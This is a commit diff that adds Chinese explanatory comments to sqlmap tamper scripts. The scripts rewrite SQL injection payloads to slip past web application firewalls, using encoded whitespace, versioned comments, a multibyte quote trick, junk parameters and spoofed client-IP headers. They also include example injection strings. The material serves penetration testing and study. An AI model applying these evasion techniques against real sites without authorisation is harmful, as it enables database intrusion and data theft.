shichengkun_branch
sck 2 months ago
parent ef5f6eee11
commit 951c2d6d9c

@ -5,9 +5,9 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from lib.core.compat import xrange # 导入兼容库中的xrange函数用于兼容Python 2和3的range函数
from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST
def dependencies():
@ -15,49 +15,53 @@ def dependencies():
def tamper(payload, **kwargs):
"""
Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart
这个函数用于篡改tamper输入的payload'IFNULL(A, B)'语句替换为其等效的'IF(ISNULL(A), B, A)'形式
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
要求
* 适用于MySQLSQLite可能和SAP MaxDB可能数据库
Tested against:
* MySQL 5.0 and 5.5
测试情况
* MySQL 5.0 5.5
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that filter the IFNULL() function
注意
* 这个篡改方法对于绕过那些过滤IFNULL()函数的非常弱的定制Web应用防火墙很有用
>>> tamper('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
示例
>>> tamper('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
"""
if payload and payload.find("IFNULL") > -1:
while payload.find("IFNULL(") > -1:
index = payload.find("IFNULL(")
depth = 1
comma, end = None, None
if payload and payload.find("IFNULL") > -1: # 如果payload不为空且包含'IFNULL'
while payload.find("IFNULL(") > -1: # 遍历所有'IFNULL'语句
index = payload.find("IFNULL(") # 找到'IFNULL'的位置
depth = 1 # 初始化括号深度
comma, end = None, None # 初始化逗号位置和结束位置
# 遍历payload以找到'IFNULL'语句的结束位置
for i in xrange(index + len("IFNULL("), len(payload)):
if depth == 1 and payload[i] == ',':
comma = i
comma = i # 记录逗号位置
elif depth == 1 and payload[i] == ')':
end = i
end = i # 记录结束位置
break
elif payload[i] == '(':
depth += 1
depth += 1 # 增加括号深度
elif payload[i] == ')':
depth -= 1
depth -= 1 # 减少括号深度
# 如果找到逗号和结束位置,则进行替换
if comma and end:
_ = payload[index + len("IFNULL("):comma]
__ = payload[comma + 1:end].lstrip()
newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _)
payload = payload[:index] + newVal + payload[end + 1:]
_ = payload[index + len("IFNULL("):comma] # 提取参数A
__ = payload[comma + 1:end].lstrip() # 提取参数B
newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) # 构造新的IF语句
payload = payload[:index] + newVal + payload[end + 1:] # 替换原IFNULL语句
else:
break

@ -9,6 +9,7 @@ import re
from lib.core.enums import PRIORITY
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL
def tamper(payload, **kwargs):
@ -19,9 +20,10 @@ def tamper(payload, **kwargs):
'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
"""
retVal = payload
retVal = payload # 初始化返回值为输入的payload
if payload:
if payload: # 如果payload不为空
# 使用正则表达式查找"information_schema"并添加内联注释
retVal = re.sub(r"(?i)(information_schema)\.", r"\g<1>/**/.", payload)
return retVal

@ -5,7 +5,7 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import re # 导入正则表达式模块,用于匹配和替换字符串中的模式
from lib.core.enums import PRIORITY
@ -16,30 +16,35 @@ def dependencies():
def tamper(payload, **kwargs):
"""
Replaces greater than operator ('>') with 'LEAST' counterpart
这个函数用于篡改tamper输入的payload将大于操作符'>')替换为'LEAST'函数的等效形式
Tested against:
* MySQL 4, 5.0 and 5.5
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
测试情况
* MySQL 4, 5.0 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the greater than character
* The LEAST clause is a widespread SQL command. Hence, this
tamper script should work against majority of databases
注意
* 这个篡改方法对于绕过那些过滤大于字符'>')的弱Web应用防火墙很有用
* LEAST函数是一个广泛使用的SQL命令因此这个tamper脚本应该适用于大多数数据库
>>> tamper('1 AND A > B')
'1 AND LEAST(A,B+1)=B+1'
示例
>>> tamper('1 AND A > B')
'1 AND LEAST(A,B+1)=B+1'
"""
retVal = payload
if payload:
if payload: # 如果payload不为空
# 使用正则表达式查找'A > B'形式的语句
match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload)
if match:
if match: # 如果找到匹配项
# 构造LEAST函数形式的语句并替换原语句
_ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4))
retVal = retVal.replace(match.group(0), _)
retVal = retVal.replace(match.group(0), _) # 替换原语句为LEAST函数形式
return retVal

@ -5,11 +5,12 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
import re # 导入正则表达式模块,用于匹配字符串中的模式
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.data import kb # 从核心库导入知识库包含SQL关键字等信息
from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
# 设置优先级为普通
__priority__ = PRIORITY.NORMAL
def dependencies():
@ -17,28 +18,34 @@ def dependencies():
def tamper(payload, **kwargs):
"""
Replaces each keyword character with lower case value (e.g. SELECT -> select)
这个函数用于篡改tamper输入的payload将其中的关键字字符转换为小写形式例如'SELECT' -> 'select'
Tested against:
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
测试情况
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* MySQL 4, 5.0 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
Notes:
* Useful to bypass very weak and bespoke web application firewalls
that has poorly written permissive regular expressions
注意
* 这个篡改方法对于绕过那些具有写得不好的允许正则表达式的非常弱的定制Web应用防火墙很有用
>>> tamper('INSERT')
'insert'
示例
>>> tamper('INSERT')
'insert'
"""
retVal = payload
retVal = payload # 初始化返回值为输入的payload
if payload:
for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
word = match.group()
if payload: # 如果payload不为空
# 遍历payload中所有匹配单词边界的字母或下划线模式的字符串
for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
word = match.group() # 获取匹配的单词
# 如果匹配的单词是SQL关键字则将其转换为小写
if word.upper() in kb.keywords:
retVal = retVal.replace(word, word.lower())

@ -5,13 +5,13 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import random
import string
import random # 导入随机数模块,用于生成随机字符串
import string # 导入字符串模块,用于访问字符串常量
from lib.core.compat import xrange
from lib.core.enums import HINT
from lib.core.enums import PRIORITY
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.compat import xrange # 导入兼容库中的xrange函数用于兼容Python 2和3的range函数
from lib.core.enums import HINT # 从核心库导入枚举类型
from lib.core.enums import PRIORITY # 从核心库导入优先级枚举
from lib.core.settings import DEFAULT_GET_POST_DELIMITER # 从核心设置导入默认的GET/POST参数分隔符
__priority__ = PRIORITY.NORMAL
@ -29,8 +29,10 @@ def tamper(payload, **kwargs):
'34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1'
"""
hints = kwargs.get("hints", {})
delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER)
hints = kwargs.get("hints", {}) # 从kwargs中获取hints字典若不存在则初始化为空字典
delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) # 从kwargs中获取delimiter若不存在则使用默认的GET/POST参数分隔符
# 生成大量随机参数并添加到hints[HINT.PREPEND]中用于绕过WAF
hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(500))

@ -5,11 +5,14 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入xrange和PRIORITY
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
# 定义优先级为LOW
__priority__ = PRIORITY.LOW
# 定义依赖函数
def dependencies():
pass
@ -27,27 +30,35 @@ def tamper(payload, **kwargs):
retVal = payload
# 如果payload不为空
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False
# 遍历payload的每个字符
for i in xrange(len(payload)):
# 如果第一个字符不是空格
if not firstspace:
# 如果当前字符是空格
if payload[i].isspace():
firstspace = True
retVal += "+"
continue
# 如果当前字符是单引号
elif payload[i] == '\'':
quote = not quote
# 如果当前字符是双引号
elif payload[i] == '"':
doublequote = not doublequote
# 如果当前字符是空格,并且不在双引号和单引号中
elif payload[i] == " " and not doublequote and not quote:
retVal += "+"
continue
# 将当前字符添加到retVal中
retVal += payload[i]
return retVal

@ -38,30 +38,50 @@ def tamper(payload, **kwargs):
# LF 0A new line
# FF 0C new page
# CR 0D carriage return
# 定义一个包含特殊字符的列表
blanks = ("%09", "%0A", "%0C", "%0D")
# 将payload赋值给retVal
retVal = payload
# 如果payload不为空
if payload:
# 将retVal置为空字符串
retVal = ""
# 定义三个布尔变量,分别表示是否在引号内、双引号内和第一个空格
quote, doublequote, firstspace = False, False, False
# 遍历payload的每个字符
for i in xrange(len(payload)):
# 如果第一个字符不是空格
if not firstspace:
# 如果当前字符是空格
if payload[i].isspace():
# 将firstspace置为True
firstspace = True
# 在retVal中添加一个随机选择的特殊字符
retVal += random.choice(blanks)
# 继续下一次循环
continue
# 如果当前字符是单引号
elif payload[i] == '\'':
# 将quote取反
quote = not quote
# 如果当前字符是双引号
elif payload[i] == '"':
# 将doublequote取反
doublequote = not doublequote
# 如果当前字符是空格,且不在双引号和单引号内
elif payload[i] == ' ' and not doublequote and not quote:
# 在retVal中添加一个随机选择的特殊字符
retVal += random.choice(blanks)
# 继续下一次循环
continue
# 将当前字符添加到retVal中
retVal += payload[i]
# 返回retVal
return retVal

@ -32,16 +32,26 @@ def tamper(payload, **kwargs):
retVal = payload
# 如果payload不为空
if payload:
# 在payload中查找SUBSTRING函数
match = re.search(r"SUBSTRING\((.+?)\s+FROM[^)]+(\d+)[^)]+FOR[^)]+1\)", payload)
# 如果找到了SUBSTRING函数
if match:
# 获取SUBSTRING函数中的位置参数
pos = int(match.group(2))
# 如果位置参数为1
if pos == 1:
# 将SUBSTRING函数替换为LEFT函数
_ = "LEFT(%s,1)" % (match.group(1))
# 否则
else:
# 将SUBSTRING函数替换为RIGHT和LEFT函数的组合
_ = "LEFT(RIGHT(%s,%d),1)" % (match.group(1), 1 - pos)
# 将替换后的函数替换回payload中
retVal = retVal.replace(match.group(0), _)
# 返回替换后的payload
return retVal

@ -5,12 +5,16 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 导入正则表达式模块
import re
# 从lib.core.enums模块中导入PRIORITY枚举
from lib.core.enums import PRIORITY
# 定义最低优先级
__priority__ = PRIORITY.LOWEST
# 定义依赖函数
def dependencies():
pass
@ -24,6 +28,7 @@ def tamper(payload, **kwargs):
retVal = payload
# 如果payload不为空则将payload中的AND替换为%26%26将OR替换为%7C%7C
if payload:
retVal = re.sub(r"(?i)\bAND\b", "%26%26", re.sub(r"(?i)\bOR\b", "%7C%7C", payload))

@ -7,11 +7,14 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY
# 设置优先级为最高
__priority__ = PRIORITY.HIGHEST
# 定义依赖函数
def dependencies():
pass
# 定义tamper函数用于替换payload中的UNION ALL SELECT为UNION SELECT
def tamper(payload, **kwargs):
"""
Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
@ -20,4 +23,5 @@ def tamper(payload, **kwargs):
'-1 UNION SELECT'
"""
# 如果payload存在则替换其中的UNION ALL SELECT为UNION SELECT
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload

@ -31,23 +31,38 @@ def tamper(payload, **kwargs):
retVal = payload
# 如果payload不为空
if payload:
found = False
retVal = ""
# 遍历payload中的每个字符
for i in xrange(len(payload)):
# 如果字符为单引号且found为False
if payload[i] == '\'' and not found:
# 将%bf%27添加到retVal中
retVal += "%bf%27"
# 将found设置为True
found = True
else:
# 将字符添加到retVal中
retVal += payload[i]
# 继续循环
continue
# 如果found为True
if found:
# 使用正则表达式替换retVal中的内容
_ = re.sub(r"(?i)\s*(AND|OR)[\s(]+([^\s]+)\s*(=|LIKE)\s*\2", "", retVal)
# 如果替换后的内容与retVal不同
if _ != retVal:
# 将替换后的内容赋值给retVal
retVal = _
# 将-- -添加到retVal中
retVal += "-- -"
# 如果retVal中不包含#、--、/*中的任意一个
elif not any(_ in retVal for _ in ('#', '--', '/*')):
# 将-- -添加到retVal中
retVal += "-- -"
# 返回retVal
return retVal

@ -36,11 +36,17 @@ def tamper(payload, **kwargs):
retVal = payload
# 如果payload不为空
if payload:
# 在retVal中查找所有匹配[A-Za-z_]的正则表达式
for match in re.finditer(r"[A-Za-z_]+", retVal):
# 获取匹配的单词
word = match.group()
# 如果单词的大写形式在kb.keywords中
if word.upper() in kb.keywords:
# 将retVal中的单词替换为大写形式
retVal = retVal.replace(word, word.upper())
# 返回retVal
return retVal

@ -28,6 +28,9 @@ def tamper(payload, **kwargs):
>> X-remote-IP: * or %00 or %0A
"""
# 获取kwargs字典中的headers键对应的值如果不存在则返回空字典
headers = kwargs.get("headers", {})
# 在headers字典中添加X-originating-IP键值为127.0.0.1
headers["X-originating-IP"] = "127.0.0.1"
# 返回payload
return payload

@ -36,17 +36,26 @@ def tamper(payload, **kwargs):
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
"""
# 定义一个函数,用于处理匹配到的单词
def process(match):
# 获取匹配到的单词
word = match.group('word')
# 如果单词的大写形式在关键词列表中
if word.upper() in kb.keywords:
# 将匹配到的单词替换为/*!单词*/
return match.group().replace(word, "/*!%s*/" % word)
else:
# 否则,返回匹配到的单词
return match.group()
# 将payload赋值给retVal
retVal = payload
# 如果payload不为空
if payload:
# 使用正则表达式匹配单词并调用process函数进行处理
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=[^\w(]|\Z)", process, retVal)
# 将" /*!"替换为"/*!",将"*/ "替换为"*/"
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
return retVal

@ -37,17 +37,27 @@ def tamper(payload, **kwargs):
'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
"""
# 定义一个函数,用于处理匹配到的单词
def process(match):
# 获取匹配到的单词
word = match.group('word')
# 如果单词的大写形式在关键词列表中,并且不在忽略空格影响的关键词列表中
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
# 将匹配到的单词替换为/*!单词*/
return match.group().replace(word, "/*!%s*/" % word)
else:
# 否则,返回匹配到的单词
return match.group()
# 将payload赋值给retVal
retVal = payload
# 如果payload不为空
if payload:
# 使用正则表达式匹配单词并调用process函数进行处理
retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal)
# 将" /*!"替换为"/*!",将"*/ "替换为"*/"
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/")
# 返回retVal
return retVal

@ -16,11 +16,16 @@ def dependencies():
pass
def randomIP():
"""
生成一个随机的IP地址
"""
octets = []
# 生成一个随机的IP地址排除10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16这三个私有IP地址段
while not octets or octets[0] in (10, 172, 192):
octets = random.sample(xrange(1, 255), 4)
# 将生成的IP地址段连接成一个字符串
return '.'.join(str(_) for _ in octets)
def tamper(payload, **kwargs):
@ -28,7 +33,9 @@ def tamper(payload, **kwargs):
Append a fake HTTP header 'X-Forwarded-For' (and alike)
"""
# 获取传入的headers参数如果没有则创建一个空字典
headers = kwargs.get("headers", {})
# 生成一个随机的IP地址并将其添加到headers中
headers["X-Forwarded-For"] = randomIP()
headers["X-Client-Ip"] = randomIP()
headers["X-Real-Ip"] = randomIP()
@ -36,9 +43,12 @@ def tamper(payload, **kwargs):
headers["True-Client-IP"] = randomIP()
# Reference: https://developer.chrome.com/multidevice/data-compression-for-isps#proxy-connection
# 添加一个Via头表示通过Chrome Compression Proxy代理
headers["Via"] = "1.1 Chrome-Compression-Proxy"
# Reference: https://wordpress.org/support/topic/blocked-country-gaining-access-via-cloudflare/#post-9812007
# 添加一个CF-IPCountry头表示通过Cloudflare代理并随机选择一个国家
headers["CF-IPCountry"] = random.sample(('GB', 'US', 'FR', 'AU', 'CA', 'NZ', 'BE', 'DK', 'FI', 'IE', 'AT', 'IT', 'LU', 'NL', 'NO', 'PT', 'SE', 'ES', 'CH'), 1)[0]
# 返回添加了headers的payload
return payload

Loading…
Cancel
Save